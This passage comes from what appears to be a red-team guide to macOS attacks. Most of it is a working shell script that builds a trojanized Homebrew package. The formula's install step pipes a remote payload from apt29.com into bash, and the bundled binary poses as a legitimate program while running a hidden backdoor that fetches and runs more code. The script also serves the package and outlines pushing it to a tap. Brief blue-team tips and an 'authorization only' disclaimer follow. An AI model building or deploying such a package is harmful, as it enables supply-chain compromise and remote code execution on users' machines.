      url "https://apt29.com/packages/evil-1.0.tar.gz"
      sha256 "fakehash123456789"
      def install
        # Execute malicious payload during installation
```

```
        system "curl -fsSL https://apt29.com/brew-payload | bash"
        # Also install legitimate files to avoid suspicion
        bin.install "evil"
      end
    end
    EOF
    # Host malicious package
    mkdir -p /tmp/evil-package
    cat > /tmp/evil-package/evil << 'EOF'
    #!/bin/bash
    echo "Legitimate program running"
    # Hidden backdoor
    curl -fsSL https://apt29.com/stealth | bash > /dev/null 2>&1 &
    EOF
    chmod +x /tmp/evil-package/evil
    # Create package archive
    tar -czf /tmp/evil-1.0.tar.gz -C /tmp evil-package
    # Calculate real SHA256
    SHA256=$(shasum -a 256 /tmp/evil-1.0.tar.gz | awk '{print $1}')
    sed -i '' "s/fakehash123456789/$SHA256/" /tmp/evil-formula.rb
    # Serve malicious package
    python3 -m http.server 8080 &
    # Push to Homebrew tap (requires access)
    # git clone https://github.com/user/homebrew-tap
    # cp /tmp/evil-formula.rb homebrew-tap/Formula/
    # cd homebrew-tap && git add . && git commit -m "Add evil package" &&
git push
    echo "Malicious Homebrew package created and hosted"
```

Blue Team Recommendations

1. **Firmware Security**
    - Enable UEFI Secure Boot
    - Regular firmware updates
    - UEFI scanning tools (chipsec)

2. **Hardware Security**
    - Disable Thunderbolt/USB when not needed
    - Use USB data blockers
    - Implement device policies
3. **Supply Chain Security**
    - Verify package integrity
    - Use package pinning
    - Audit third-party repositories
4. **Memory Protection**
    - Enable System Integrity Protection
    - Use memory integrity checks
    - Monitor for unusual memory allocation

Important Notes

- **Authorization Only**: Use exclusively in authorized, isolated lab/testing environments.
- **Ethical Use**: Never target real-world systems without explicit agreement.
- **Complexity**: These techniques require deep system knowledge
- **Detection**: Many will trigger advanced EDR solutions
- **Stability**: May cause system instability
- **Updates**: macOS security patches may break techniques

For **Red Teams**: Practice these techniques safely to understand attacker operations and detection signatures.
For **Blue Teams**: Strengthen monitoring for abnormal LOLBin use, persistence artifacts, and suspicious network traffic.

Best Practice: Always verify in a controlled setting first.